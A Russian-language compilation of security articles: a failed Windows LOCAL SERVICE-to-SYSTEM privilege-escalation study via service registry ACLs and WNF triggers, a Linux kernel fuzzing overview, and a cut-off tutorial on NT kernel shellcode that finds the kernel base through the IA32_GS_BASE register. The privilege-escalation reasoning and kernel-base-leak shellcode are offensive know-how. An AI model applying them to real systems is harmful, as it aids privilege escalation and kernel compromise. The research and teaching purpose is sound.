cve-2021-24086/](https://doar-e.github.io/blog/2021/04/15/reverse-
engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/)
Приветствую всех читателей. В своем блоге я опубликовал много статей о том, как я находил уязвимости в разных продуктах. Но все истории-исследования заканчиваются победой. В этот раз я решил поделиться историей неуспеха. Небольшое исследование, которое заняло у меня где-то 5-6 часов, в ходе которого я был близок к созданию интересного эксплоита, но магия не случилась.
Как легко заметить, я люблю искать уязвимости на повышение привилегий. Обычно такие уязвимости позволяют подняться с уровня прав обычного пользователя, до уровня прав администратора или системы (NT AUTHORITY\SYSTEM). Но в данном случае, я решил рассмотреть другой вариант: поднятие прав с уровня NT AUTHORITY\LOCAL SERVICE до NT AUTHORITY\SYSTEM.
Все началось со статьи про уязвимость повышения привилегий в Windows 7. Уязвимость состоит в том, что по умолчанию Windows 7 в реестре две ветки имеют интересные права для пользователя ОС. А именно ветки
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperClick to expand...
позволяют пользователю без прав администратора создавать разделы внутри себя. Исследователь показал, что можно создать раздел Performance, внутри которого указать dll. После некоторых команд эта dll будет загружена в пространство сервиса и тем самым исполнит код от имени NT AUTHORITY\SYSTEM, который предоставит пользователь с низкими правами. В старших версиях Windows такие прав уже нет и, вроде, даже для семерки были выпущены патчи. Запомним саму идею уязвимости.
Теперь посмотрим на сервисы с другой стороны. Обычно сервисы работают от имени одного из трех пользователей: NT AUTHORITY\SYSTEM (максимальные права), NT AUTHORITY\LOCAL SERVICE (права выше, чем у пользователей, но не такие высокие как NT AUTHORITY\SYSTEM) или NT AUTHORITY\NETWORK SERVICE (права как у предыдущего, но может проводить аутентификацию по сети). Иногда в ходе атак можно получить права NT AUTHORITY\LOCAL SERVICE и тут появляется вопрос, что же делать дальше? Вроде и права выше пользовательских (например есть привилегия SeImpersonatePrivilege), но, например, свободно читать файлы пользователей прав нет. Обычно в таких ситуация используют что-то из «картофельного» семейства: [Rotten Potato](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege- escalation-from-service-accounts-to-system/), Juicy Potato и другие. Я решил посмотреть, а не найдется ли что-то свое.
Совмещая идеи из предыдущих абзацев, получаем общую канву исследования.
Пробуем посмотреть на права в реестре, кому и что разрешено. Я взял свою
утилиту SDDLViewer, указал
ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services
, убрал
пользователей, которые нам не интересны (администраторы, система), убрал права
на чтение и получилось вот что:
Code:Copy to clipboard
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Dhcp
D:(A;;LC;;;NT SERVICE\Dhcp)(A;CIIO;LC;;;NT SERVICE\Dhcp)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time
D:(A;;DCLC;;;NT SERVICE\autotimesvc)(A;CIIO;GW;;;NT SERVICE\autotimesvc)
Эти строки говорят, что пользователь NT SERVICE\Dhcp может создавать подразделы в своей ветке, а пользователь NT SERVICE\Autotime может делать все что угодно в ветке сервиса W32Time. Имена пользователей вида NT SERVICE\НазваниеСервиса — это специальные пользователи или даже точнее сказать метки, которые получают соответствующие процессы сервисов. Поскольку сервис Dhcp по умолчанию запущен, прав на остановку у нас нет, то и рассматривать его я не стал.
А вот сервис W32Time довольно интересен, поскольку на него может влиять другой процесс, а именно сервис autotimesvc. Более того, не обязательно пользоваться идеей с созданием подраздела. У autotimesvc полные права на всю ветку, а значит можно поставить свой бинарный файл и указать пользователя NT AUTHORITY\SYSTEM. Кроме этого, запрашиваем права самого сервиса в видим:
Code:Copy to clipboard
Windows Time (W32Time)
D:(A;;RPWP;;;LS)
На человеческом языке это означает, что NT AUTHORITY\LOCAL SERVICE может останавливать и запускать этот сервис. Все складывается просто идеально. Осталось только попасть в контекст сервиса autotimesvc.
Сервис autotimesvc не имеет никаких особых отличий от других сервисов. Плюсы: работает от имени NT AUTHORITY\LOCAL SERVICE, что позволяет нам в него влезть. Минусы: запустить и остановить этот сервис могут только администраторы и NT AUTHORITY\SYSTEM.
Вся наша цепочка действий в итоге завязана на необходимость запуска сервиса autotimesvc. Если права не позволяют запустить сервис, то посмотрим на альтернативные возможности. У некоторых сервисов есть возможность запуска по триггерам. Запрос информации по триггерам сервиса: sc qtriggerinfo autotimesvc:
Хорошая новость: триггер есть. Плохая: это какой-то непонятный триггер.
Тут стоит сделать уточнение, что существует разные триггеры: вход в домен, получение сетевого пакета, событие системы ETW и другие. Я очень надеялся на то, что будет именно ETW, потому что такие события может создавать любой пользователь и так можно было бы запустить сервис. Но вот что такое «СОБЫТИЕ ИЗМЕНЕНИЯ НАСТРАИВАЕМОГО СОСТОЯНИЯ СИСТЕМЫ»?
Полезем смотреть в реестр за более подробными данными.
Смотрим: Action = 1 это значит, что при триггере сервис будет запущен.
Data0 — какие-то данные
GUID — идентификатор триггера
Type = 7 — тип триггера
Идем в [MSDN за пояснениями](https://docs.microsoft.com/en- us/windows/win32/api/winsvc/ns-winsvc-service_trigger). А там нет типа 7, он незадокументирован. Включаем гугл-фу. Находим хоть что- то, что показывает, что тип 7 и GUID из реестра связаны между собой.
Code:Copy to clipboard
//
// CUSTOM_SYSTEM_STATE_CHANGE_EVENT_GUID is used with SERVICE_TRIGGER_TYPE_CUSTOM_SYSTEM_STATE_CHANGE
//
DEFINE_GUID ( /* 2d7a2816-0c5e-45fc-9ce7-570e5ecde9c9 */
CUSTOM_SYSTEM_STATE_CHANGE_EVENT_GUID,
0x2d7a2816,
0x0c5e,
0x45fc,
0x9c, 0xe7, 0x57, 0x0e, 0x5e, 0xcd, 0xe9, 0xc9
);
/* 2d7a2816-0c5e-45fc-9ce7-570e5ecde9c9 */extern "C" const GUID CUSTOM_SYSTEM_STATE_CHANGE_EVENT_GUID;
Но это пока не приближает нас к пониманию как же этот триггер задействовать. Я собрал из реестра все подобные триггеры и стал смотреть на данные в поле Data0. Все они были как-то похожи:
Code:Copy to clipboard
7518BCA32C0FC641
75D0BEA32E0B8A0D
7530BCA32B188341
7538BCA32F029209
7548BCA32F029209
7558BCA32F029209
7568BCA32F029209
7538BCA32F029209
7548BCA32F029209
7558BCA32F029209
7568BCA32F029209
...
Погуглив по разным вариантам, я обнаружил, что если взять первые 4 байта в
обратном порядке, то начинают появляться интересные
ссылки.
Дальнейшие поиски точно показали, что речь идет о подсистеме WNF и ее
событиях.
Более того, я наше свой вариант Data0 под названием: WNF_CELL_NITZ_INFO
0xd8a0b2ea3bed075. Ключевое слово NITZ фигурирует и в описании сервиса
autotimesvc.
WNF хоть и не очень хорошо документирован, но Алекс Ионеску все же внес огромный вклад и даже подготовил утилиты по работе с событиями WNF.
Цель уже близка, вся цепочка действий зависит только от возможности изменить событие WNF_CELL_NITZ_INFO. Пробуем сделать это из под обычного пользователя — отказ в доступе. Пробуем из под NT AUTHORITY\LOCAL SERVICE — отказ в доступе.
Запрашиваем очередной SDDL для этого события и получаем:
Code:Copy to clipboard
D:(A;;CCDC;;;SY)(A;;CCDC;;;NT SERVICE\WwanSvc)(A;;CCDC;;;BA)(A;;CC;;;AU)(A;;CC;;;IU)
CC — чтение данных, DC — запись. Видим, что изменить состояние могут либо администраторы, либо сервис WwanSvc. Нам не привыкать, смотрим, что еще за сервис появился. А вот тут все — этот сервис работает уже под пользователем NT AUTHORITY\SYSTEM и не имеет каких-то особых вариантов для воздействия. Вот на этом мое исследование и кончилось. Цепочка действий не сложилась — эксплоит я не написал.
Здесь можно поставить много слов «если». Если бы сервис WwanSvc работал бы от имени NT AUTHORITY\LOCAL SERVICE… Если бы права были не такими ограничивающими… Если бы еще что-то было, то вот тогда я точно бы все реализовал. Но, как я уже сказал в начале статьи — не всякое исследование обязательно успешное. Я потратил время, но получил новый опыт, узнал о WNF. Возможно я где-то свернул не туда и кто-то другой сумеет реализовать эту идею, а может я сам вернусь к ней спустя время. В любом случае это было интересное путешествие.
Кравец Василий @xi-tauw
Последние пять лет я ищу уязвимости в ядре Linux с помощью фаззинга. За это время я сделал три больших проекта: фаззил сетевую подсистему со стороны системных вызовов (и написал несколько эксплоитов для найденных багов), затем фаззил ту же сеть с внешней стороны и, наконец, фаззил подсистему USB со стороны устройств.
Статья написана редакцией «Хакера» по мотивам доклада «Фаззинг ядра
Linux»
Андрея Коновалова при участии докладчика и изложена от
первого лица с его разрешения.
Когда я говорю об атаках на USB, многие сразу вспоминают Evil HID — одну из
атак типа BadUSB. Это когда подключаемое устройство выглядит безобидно, как
флешка, а на самом деле оказывается клавиатурой, которая автоматически
открывает консоль и делает что‑нибудь нехорошее.
В рамках моей работы по фаззингу такие атаки меня не интересовали. Я искал в первую очередь повреждения памяти ядра. В случае атаки через USB сценарий похож на BadUSB: мы подключаем специальное USB-устройство и оно начинает делать нехорошие вещи. Но оно не набирает команды, прикидываясь клавиатурой, а эксплуатирует уязвимость в драйвере и получает исполнение кода внутри ядра.
За годы работы над фаззингом ядра у меня скопилась коллекция ссылок и наработок. Я их упорядочил и превратил в доклад. Сейчас я расскажу, какие есть способы фаззить ядро, и дам советы начинающим исследователям, которые решат заняться этой темой.
Фаззинг — это способ искать ошибки в программах.
Как он работает? Мы генерируем случайные данные, передаем их на вход программе и проверяем, не сломалась ли она. Если не сломалась — генерируем новый ввод. Если сломалась — прекрасно, мы нашли баг. Предполагается, что программа не должна падать от неожиданного ввода, она должна этот ввод корректно обрабатывать.
Конкретный пример: мы берем XML-парсер и скармливаем ему случайно
сгенерированные XML-файлы. Если он упал — мы нашли баг в парсере.
Фаззеры можно делать для любой штуки, которая обрабатывает входные данные. Это может быть приложение или библиотека в пространстве пользователя — юзерспейсе. Это может быть ядро, может быть прошивка, а может быть даже железо.
Когда мы начинаем работать над фаззером для очередной программы, нам нужно разобраться со следующими вопросами:
Сегодня мы говорим о ядре Linux, так что в каждом из вопросов мы можем мысленно заменить слово «программа» на «ядро Linux». А теперь давай попробуем найти ответы.
Для начала придумаем ответы попроще и разработаем первую версию нашего фаззера.
Начнем с того, как ядро запускать. Здесь есть два способа: использовать железо (компьютеры, телефоны или одноплатники) или использовать виртуальные машины (например, QEMU). У каждого свои плюсы и минусы.
Когда запускаешь ядро на железе, то получаешь систему в том виде, в котором она работает в реальности. Например, там доступны и работают драйверы устройств. В виртуалке доступны только те фичи, которые она поддерживает.
С другой стороны, железом гораздо сложнее управлять: разливать ядра, перезагружать в случае падения, собирать логи. Виртуалка в этом плане идеальна.
Еще один плюс виртуальных машин — масштабируемость. Чтобы фаззить на большем количестве железок, их надо купить, что может быть дорого или логистически сложно. Для масштабирования фаззинга в виртуалках достаточно взять машину помощнее и запустить их сколько нужно.
Учитывая особенности каждого из способов, виртуалки выглядят как лучший вариант. Но давай для начала ответим на остальные вопросы. Глядишь, мы придумаем способ фаззить, который не привязан к способу запуска ядра.
Что является входными данными для ядра? Ядро обрабатывает системные вызовы —
сисколы (syscall). Как передать их в ядро? Давай напишем программу, которая
делает последовательность вызовов, скомпилируем ее в бинарь и запустим. Всё:
ядро будет интерпретировать наши вызовы.
Теперь разберемся с тем, какие данные передавать в сисколы в качестве аргументов и в каком порядке сисколы вызывать.
Самый простой способ генерировать данные — брать случайные байты. Этот способ работает плохо: обычно программы, включая то же ядро, ожидают данные в более‑менее корректном виде. Если передать им совсем мусор, даже элементарные проверки на корректность не пройдут, и программа откажется обрабатывать ввод дальше.
Способ лучше: генерировать данные на основе грамматики. На примере XML- парсера: мы можем [заложить](https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html#Parsing- and-Recombining-HTML) в грамматику знание о том, что XML-файл состоит из XML- тегов. Таким образом мы обойдем элементарные проверки и проникнем глубже внутрь кода парсера.
Однако для ядра такой подход надо адаптировать: ядро принимает последовательность сисколов с аргументами, а это не просто массив байтов, даже сгенерированных по определенной грамматике.
Представь программу из трех сисколов: open, который открывает файл, ioctl, который совершает операцию над этим файлом, и close, который файл закрывает. Для open первый аргумент — это строка, то есть простая структура с единственным фиксированным полем. Для ioctl, в свою очередь, первый аргумент — значение, которое вернул open, а третий — сложная структура с несколькими полями. Наконец, в close передается все тот же результат open.
Code:Copy to clipboard
int fd = open("/dev/something", …);
ioctl(fd, SOME_IOCTL, &{0x10, ...});
close(fd);
Целиком эта программа — типичный ввод, который обрабатывает ядро. То есть вводы для ядра представляют собой последовательности сисколов. Причем их аргументы структурированы, а их результат может передаваться от одного сискола к другому.
Это все похоже на API некой библиотеки — его вызовы принимают структурированные аргументы и возвращают результаты, которые могут передаваться в следующие вызовы.
Получается, что, когда мы фаззим сисколы, мы фаззим API, который предоставляет ядро. Я такой подход называю API-aware-фаззинг.
В случае ядра Linux, к сожалению, точного описания всех возможных сисколов и их аргументов нет. Есть несколько попыток сгенерировать эти описания автоматически, но ни одна из них не выглядит удовлетворительной. Поэтому единственный способ — это написать описания руками.
Так и сделаем: выберем несколько сисколов и разработаем алгоритм генерирования их последовательностей. Например, заложим в него, что в ioctl должен передаваться результат open и структура правильного типа со случайными полями.
С автоматизацией пока не будем заморачиваться: наш фаззер в цикле будет генерировать вводы и передавать их ядру. А мы будем вручную мониторить лог ядра на предмет ошибок типа kernel panic.
Всё! Мы ответили на все вопросы и разработали простой способ фаззинга ядра.
ВОПРОС| ОТВЕТ
---|---
Как запускать ядро?| В QEMU или на реальном железе
Что будет входными данными?| Системные вызовы
Как входные данные передавать ядру?| Через запуск исполняемого файла
Как генерировать вводы?| На основе API ядра
Как определять наличие багов?| По kernel panic
Как автоматизировать?| while (true) syscall(…)
Наш фаззер представляет собой бинарник, который в случайном порядке вызывает сисколы с более‑менее корректными аргументами. Поскольку бинарник можно запустить и на виртуалке, и на железе, то фаззер получился универсальным.
Ход рассуждений был простым, но сам подход работает прекрасно. Если специалиста по фаззингу ядра Linux спросить: «Какой фаззер работает описанным способом?», то он сразу скажет: Trinity! Да, фаззер с таким алгоритмом работы уже существует. Одно из его преимуществ — он легко переносимый. Закинул бинарь в систему, запустил — и все, ты уже ищешь баги в ядре.
Фаззер Trinity сделали давно, и с тех пор мысль в области фаззинга ушла дальше. Давай попробуем улучшить придуманный способ, использовав более современные идеи.
Идея первая: для генерации вводов использовать подход coverage-guided — на основе сборки покрытия кода.
Как он работает? Помимо генерирования случайных вводов с нуля, мы поддерживаем набор ранее сгенерированных «интересных» вводов — корпус. И иногда, вместо случайного ввода, мы берем один ввод из корпуса и его слегка модифицируем. После чего мы исполняем программу с новым вводом и проверяем, интересен ли он. А интересен ввод в том случае, если он позволяет покрыть участок кода, который ни один из предыдущих исполненных вводов не покрывает. Если новый ввод позволил пройти дальше вглубь программы, то мы добавляем его в корпус. Таким образом, мы постепенно проникаем все глубже и глубже, а в корпусе собираются все более и более интересные программы.
Этот подход используется в двух основных инструментах для фаззинга приложений в юзерспейсе: AFL и libFuzzer.
Coverage-guided-подход можно скомбинировать с использованием грамматики. Если мы модифицируем структуру, можем делать это в соответствии с ее грамматикой, а не просто случайно выкидывать байты. А если вводом является последовательность сисколов, то изменять ее можно, добавляя или удаляя вызовы, переставляя их местами или меняя их аргументы.
Для coverage-guided-фаззинга ядра нам нужен способ собирать информацию о покрытии кода. Для этой цели был разработан инструмент KCOV. Он требует доступа к исходникам, но для ядра у нас они есть. Чтобы включить KCOV, нужно пересобрать ядро с включенной опцией CONFIG_KCOV, после чего покрытие кода ядра можно собирать через /sys/kernel/debug/kcov.
KCOV позволяет собирать покрытие кода ядра с текущего потока, игнорируя фоновые процессы. Таким образом, фаззер может собирать релевантное покрытие только для тех сисколов, которые он исполняет.
Теперь давай придумаем что‑нибудь получше для обнаружения багов, чем выпадение в kernel panic.
Паника в качестве индикатора багов работает плохо. Во‑первых, некоторые баги ее не вызывают, как упомянутые утечки информации. Во‑вторых, в случае повреждения памяти паника может случиться намного позже, чем произошел сам сбой. В таком случае баг очень сложно локализовать — непонятно, какое из последних действий фаззера его вызвало.
Для решения этих проблем придумали динамические детекторы багов. Слово «динамические» означает, что они работают в процессе исполнения программы. Они анализируют ее действия в соответствии со своим алгоритмом и пытаются поймать момент, когда произошло что‑то плохое.
Для ядра таких детекторов несколько. Самый крутой из них —
KASAN. Крут он
не потому, что я над ним работал, а потому, что он находит главные типы
повреждений памяти: выходы за границы массива и use-after-free. Для его
использования достаточно включить опцию CONFIG_KASAN, и KASAN будет работать в
фоне, записывая репорты об ошибках в лог ядра при обнаружении.
Больше о динамических детекторах для ядра можно узнать из доклада Mentorship
Session: Dynamic Program Analysis for Fun and
Profit Дмитрия Вьюкова
([слайды](https://linuxfoundation.org/wp-content/uploads/Dynamic-program-
analysis_-LF-Mentorship.pdf)).
Что касается автоматизации, то тут можно придумать много всего интересного. Автоматически можно:
Как это все сделать? Написать код и включить его в наш фаззер. Исключительно инженерная задача.
Возьмем эти три идеи — coverage-guided-подход, использование динамических детекторов и автоматизацию процесса фаззинга — и включим в наш фаззер. У нас получится следующая картина.
ВОПРОС| ОТВЕТ
---|---
Как запускать ядро?| В QEMU или на реальном железе
Что будет входными данными?| Системные вызовы
Как входные данные передавать ядру?| Через запуск исполняемого файла
Как генерировать вводы?| Знание API + KCOV
Как определять наличие багов?| KASAN и другие детекторы
Как автоматизировать?| Все перечисленные выше штуки
Если опять‑таки спросить знающего человека, какой фаззер ядра использует эти подходы, тебе сразу ответят: syzkaller. Сейчас syzkaller — это передовой фаззер ядра Linux. Он нашел тысячи ошибок, включая эксплуатируемые уязвимости. Практически любой, кто занимался фаззингом ядра, имел дело с этим фаззером.
Иногда можно услышать, что KASAN является неотделимой частью syzkaller. Это не так. KASAN можно использовать и с Trinity, а syzkaller — и без KASAN.
Использовать идеи syzkaller — это крепкий подход к фаззингу ядра. Но давай пойдем дальше и обсудим, как наш фаззер можно сделать еще более навороченным.
Мы обсуждали два варианта, как запустить ядро для фаззинга: использовать виртуалки или железки. Но есть еще один способ: можно вытащить код ядра в юзерспейс. Для этого нужно взять какую‑нибудь изолированную подсистему и скомпилировать ее как библиотеку. Тогда ее можно будет пофаззить с помощью инструментов для фаззинга обычных приложений.
Для некоторых подсистем это сделать несложно. Если подсистема просто выделяет память с помощью kmalloc и освобождает ее через kfree и на этом привязка к ядерным функциям заканчивается, тогда мы можем заменить kmalloc на malloc и kfree на free. Дальше мы компилируем код как библиотеку и фаззим с помощью того же libFuzzer.
Для большинства подсистем с этим подходом возникнут сложности. Требуемая подсистема может использовать API, которые в юзерспейсе попросту недоступны. Например, RCU.
RCU (Read-Copy-Update) —
механизм синхронизации в ядре Linux.
Еще один минус этого подхода в том, что если вытащенный в юзерспейс код
обновился, то его придется вытаскивать заново. Можно попробовать этот процесс
автоматизировать, но это может быть сложно.
Этот подход использовался для фаззинга [eBPF](https://github.com/iovisor/bpf- fuzzer), ASN.1-парсеров и [сетевой подсистемы](https://googleprojectzero.blogspot.com/2021/04/designing- sockfuzzer-network-syscall.html) ядра XNU.
Данные из юзерспейса в ядро могут передаваться через сисколы; о них мы уже
говорили. Но поскольку ядро — это прослойка между железом и программами
пользователя, у него есть также входы и со стороны устройств.
Другими словами, ядро обрабатывает данные, приходящие через Ethernet, USB, Bluetooth, NFC, мобильные сети и прочие железячные протоколы.
Например, мы послали на систему TCP-пакет. Ядро должно его распарсить, чтобы понять, на какой порт он пришел и какому приложению его доставить. Отправляя случайно сгенерированные TCP-пакеты, мы можем фаззить сетевую подсистему с внешней стороны.
Возникает вопрос: как доставлять в ядро данные со стороны внешних интерфейсов? Сисколы мы просто звали из бинарника, а если мы хотим общаться с ядром по USB, то такой подход не пройдет.
Доставлять данные можно через реальное железо: например, отправлять сетевые пакеты по сетевому кабелю или использовать Facedancer для USB. Но такой подход плохо масштабируется: хочется иметь возможность фаззить внутри виртуалки.
Здесь есть два решения.
Первое — это написать свой драйвер, который воткнется в нужное место внутри ядра и доставит туда наши данные. А самому драйверу данные мы будем передавать через сисколы. Для некоторых интерфейсов такие драйверы уже есть в ядре.
Например, сеть я фаззил через TUN/TAP. Этот интерфейс позволяет отправлять в ядро сетевые пакеты так, что пакет проходит через те же самые пути парсинга, как если бы он пришел извне. В свою очередь, для фаззинга USB мне пришлось написать свой драйвер.
Второе решение — доставлять ввод в ядро виртуальной машины со стороны хоста. Если виртуалка эмулирует сетевую карту, она может сэмулировать и ситуацию, когда на сетевую карту пришел пакет.
Такой подход применяется в фаззере vUSBf. В нем использовали QEMU и протокол [usbredir](https://www.spice- space.org/usbredir.html), который позволяет с хоста подключать USB-устройства внутрь виртуалки.
Ранее мы смотрели на сисколы как на последовательности вызовов со структурированными аргументами, где результат одного сискола может использоваться в следующем. Но не все сисколы работают таким простым образом.
Пример: clone и sigaction. Да, они тоже принимают аргументы, тоже могут вернуть результат, но при этом они порождают еще один поток исполнения. clone создает новый процесс, а sigaction позволяет настроить обработчик сигнала, которому передастся управление, когда этот сигнал придет.
Хороший фаззер для этих сисколов должен учитывать эту особенность и, например, фаззить из каждого порожденного потока исполнения.
Есть еще подсистемы eBPF и KVM. В качестве вводов вместо простых структур они принимают последовательность исполняемых инструкций. Сгенерировать корректную цепочку инструкций — это гораздо более сложная задача, чем сгенерировать корректную структуру. Для фаззинга таких подсистем нужно разрабатывать специальные фаззеры. Навроде фаззера JavaScript-интерпретаторов fuzzilli.
Представим, что мы фаззим ядро со стороны сети. Может показаться, что фаззинг сетевых пакетов — это та же генерация и отправка обычных структур. Но на самом деле сеть работает как API, только с внешней стороны.
Пример: пусть мы фаззим TCP и у нас на хосте есть сокет, с которым мы хотим установить соединение извне. Казалось бы, мы посылаем SYN, хост отвечает SYN/ACK, мы посылаем ACK — все, соединение установлено. Но в полученном нами пакете SYN/ACK содержится номер подтверждения, который мы должны вставить в пакет ACK. В каком‑то смысле это возврат значения из ядра, но с внешней стороны.
То есть внешнее взаимодействие с сетью — это последовательность вызовов (отправок пакетов) и использование их возвращаемых значений (номеров подтверждения) в следующих вызовах. Получаем, что сеть работает как API и для нее применимы идеи API-aware-фаззинга.
USB — необычный протокол: там все общение инициируется хостом. Поэтому даже если мы нашли способ подключать USB-устройства извне, то мы не можем просто так посылать данные на хост. Вместо этого нужно дождаться запроса от хоста и на этот запрос ответить. При этом мы не всегда знаем, какой запрос придет следующим. Фаззер USB должен учитывать эту особенность.
Как еще можно собирать покрытие кода, кроме как с помощью KCOV?
Во‑первых, можно использовать эмуляторы. Представь, что виртуалка эмулирует ядро инструкция за инструкцией. Мы можем внедриться в цикл эмуляции и собирать оттуда адреса инструкций. Этот подход хорош тем, что, в отличие от KCOV, тут не нужны исходники ядра. Как следствие, этот способ можно использовать для закрытых модулей, которые доступны в виде бинарников. Так делают фаззеры TriforceAFL и UnicoreFuzz.
Еще один способ собирать покрытие — использовать аппаратные фичи процессора. Например, kAFL использует [Intel PT](https://software.intel.com/content/www/us/en/develop/blogs/processor- tracing.html).
Стоит отметить, что упомянутые реализации этих подходов экспериментальные и требуют доработки для практического использования.
Для coverage-guided-фаззинга нам нужно собирать покрытие с кода подсистемы, которую мы фаззим.
Сборка покрытия из текущего потока, которую мы обсуждали до сих пор, работает для этой цели не всегда: подсистема может обрабатывать вводы в других контекстах. Например, некоторые сисколы создают новый поток в ядре и обрабатывают ввод там. В случае того же USB пакеты обрабатываются в глобальных потоках, которые стартуют при загрузке ядра и никак к юзерспейсу не привязаны.
Для решения этой проблемы я реализовал в KCOV [возможность](https://www.kernel.org/doc/html/latest/dev- tools/kcov.html#remote-coverage-collection) собирать покрытие с фоновых потоков и программных прерываний. Она требует добавления аннотаций в участки кода, с которых хочется собирать покрытие.
Направлять процесс фаззинга можно не только с помощью покрытия кода.
Например, можно отслеживать состояние ядра: мониторить участки памяти или следить за изменением состояний внутренних объектов. И добавлять в корпус вводы, которые вводят объекты в ядре в новые состояния.
Чем в более сложное состояние мы заведем ядро во время фаззинга, тем больше шанс, что мы наткнемся на ситуацию, которую оно не сможет корректно обработать.
Еще один способ генерации вводов — сделать это на основе действий реальных программ. Реальные программы уже взаимодействуют с ядром нетривиальным образом и проникают глубоко внутрь кода. Сгенерировать такое же взаимодействие с нуля может быть невозможно даже для очень умного фаззера.
Я видел такой подход в проекте Moonshine: авторы запускали системные утилиты под strace, собирали с них лог и использовали полученную последовательность сисколов как ввод для фаззинга с помощью syzkaller.
Существующие динамические детекторы неидеальны и могут не замечать некоторые ошибки. Как находить такие ошибки? Улучшать детекторы.
Можно, к примеру, взять KASAN (напомню, он ищет повреждения памяти) и добавить аннотации для какого‑нибудь нового аллокатора. По умолчанию KASAN поддерживает стандартные аллокаторы ядра, такие как slab и page_alloc. Но некоторые драйверы выделяют здоровенный кусок памяти и потом самостоятельно его нарезают на блоки помельче (привет, Android!). KASAN в таком случае не сможет найти переполнение из одного блока в другой. Нужно добавлять аннотации вручную.
Еще есть KMSAN — он умеет находить утечки информации. По умолчанию он ищет утечки в юзерспейсе. Но данные могут утекать и через внешние интерфейсы, например по сети или по USB. Для таких случаев KMSAN можно доработать.
Можно делать свои баг‑детекторы с нуля. Самый простой способ — добавить в исходники ядра ассерты. Если мы знаем, что в определенном месте всегда должно выполняться определенное условие, — добавляем BUG_ON и начинаем фаззить. Если BUG_ON сработал — баг найден. А мы сделали элементарный детектор логической ошибки. Такие детекторы особенно интересны в контексте фаззинга BPF, потому что ошибка в BPF обычно не приводит к повреждению памяти и остается незамеченной.
Давай подведем итоги.
Глобально подходов к фаззингу ядра Linux три:
Вот тебе несколько советов, которые помогут добиться результатов.
Как понять, что твой фаззер работает хорошо? Очевидно, что если он находит новые баги, то все отлично. Но вот что делать, если не находит?
Если фаззер покрывает весь интересующий тебя код и находит ранее исправленные ошибки — скорее всего, фаззер работает хорошо. Если новых ошибок нет, то либо их там действительно нет, либо фаззер не заводит ядро в достаточно сложное состояние и его надо улучшать.
И еще пара советов:
ВЫВОДЫ
Создание фаззеров — инженерная работа. И основана она на инженерных умениях: проектировании, программировании, тестировании, дебаггинге и бенчмаркинге.
Отсюда два вывода. Первый: чтобы написать простой фаззер — достаточно просто уметь программировать. Второй: чтобы написать крутой фаззер — нужно быть хорошим инженером. Причина, по которой syzkaller имеет такой успех, — в него было вложено много инженерного опыта и времени.
автор @xairy
A security engineer focusing on fuzzers, exploits, and mitigations for Linux and Android kernels.
xairy.io
взято с хакер.ру
Введение
В этой заметке я хотел бы описать процесс выполнения 64-битного шеллкода в ядре NT. Идея возникла после того, как я случайно нашел интересный MSR-регистр
IA32_GS_BASE
, чтение которого с некоторыми дополнениями позволяет получить
базовый адрес ядра. На звание эксперта не претендую, поэтому любая критика
приветствуется. Также, если есть какие-то вопросы, то можно их задавать в
комментариях. В качестве окружения для разработки я использую Visual Studio
2019.Поиск базового адреса ntoskrnl.exe
Регистр IA32_GS_BASE
находится по адресу 0xC0000101
.
Code:Copy to clipboard
0: kd> rdmsr 0xC0000101
msr[c0000101] = fffff804`07fc6000
Если верить исходникам Windows XP SP1
, то регистр содержит указатель на
область памяти MM_KSEGN_BASE
Code:Copy to clipboard
Virtual Memory Layout on the AMD64 is:
+------------------------------------+
0000000000000000 | User mode addresses - 8tb minus 64k|
| |
| |
000007FFFFFEFFFF | | MM_HIGHEST_USER_ADDRESS
+------------------------------------+
000007FFFFFF0000 | 64k No Access Region | MM_USER_PROBE_ADDRESS
000007FFFFFFFFFF | |
+------------------------------------+
.
+------------------------------------+
FFFF080000000000 | Start of System space | MM_SYSTEM_RANGE_START
+------------------------------------+
FFFFF68000000000 | 512gb four level page table map. | PTE_BASE
+------------------------------------+
FFFFF70000000000 | HyperSpace - working set lists | HYPER_SPACE
| and per process memory management |
| structures mapped in this 512gb |
| region. | HYPER_SPACE_END
+------------------------------------+ MM_WORKING_SET_END
FFFFF78000000000 | Shared system page | KI_USER_SHARED_DATA
+------------------------------------+
FFFFF78000001000 | The system cache working set | MM_SYSTEM_CACHE_WORKING_SET
| information resides in this |
| 512gb-4k region. |
| |
+------------------------------------+
.
.
Note the ranges below are sign extended for > 43 bits and therefore
can be used with interlocked slists. The system address space above is NOT.
.
.
+------------------------------------+
FFFFF80000000000 | Start of 1tb of | MM_KSEG0_BASE
| physically addressable memory. | MM_KSEG2_BASE
+------------------------------------+
FFFFF90000000000 | win32k.sys |
Если проанализировать память, то можно найти значительное количество
указателей на функции ядра и константу ExNode0
, указатель на которую
находится по смещению 0x240
. Это значение не подвержено рандомизации,
поэтому мы будем использовать ее для нашего шеллкода. Далее необходимо найти
RVA
для ExNode0
, чтобы найти NtBase
.
Это значение уже будет меняться от версии к версии Windows. Для 20H2 19042.572
это значение будет 0xd25440
.
Code:Copy to clipboard
0: kd> dps fffff804`07fc6000 + 0x240
fffff804`07fc6240 fffff804`0d325440 nt!ExNode0
0: kd> ? fffff804`0d325440 - 0xd25440
Evaluate expression: -8778705534976 = fffff804`0c600000
0: kd> ? nt
Evaluate expression: -8778705534976 = fffff804`0c600000
На С такая функция могла бы выглядеть следующим образом:
C:Copy to clipboard
#include <intrin.h>
#define EX_NODE0_OFFSET 0x240
#define EX_NODE0_RVA 0xd25440
#define IA32_GS_BASE 0xc0000101
int NtBase;
int ExNode0;
int GetNtBase()
{
ExNode0 = __readmsr(IA32_GS_BASE) + EX_NODE0_OFFSET;
NtBase = ExNode0 - EX_NODE0_RVA;
return NtBase;
}
Пишем шеллкод для функции GetNtBase
Наверняка существуют более элегантные способы написания ядерных шеллкодов и
кому-то мой подход покажется избыточным. Интересно мнение экспертов по этому
поводу.
Алгоритм был намечен следующий:
DriverEntry
и DriverUnload
.shellcode.asm
, который реализует функцию GetNtBase
и вызвать ее в DriverEntry
.IDA Pro
и скопировать нужные опкоды.shellcode.asm
и добавить опкоды в буфер.Spoiler: shellcode.asm
Code:Copy to clipboard
PUBLIC GetNtBase
.data
.code
GetNtBase PROC
int 3
mov ecx, 0C0000101h
rdmsr
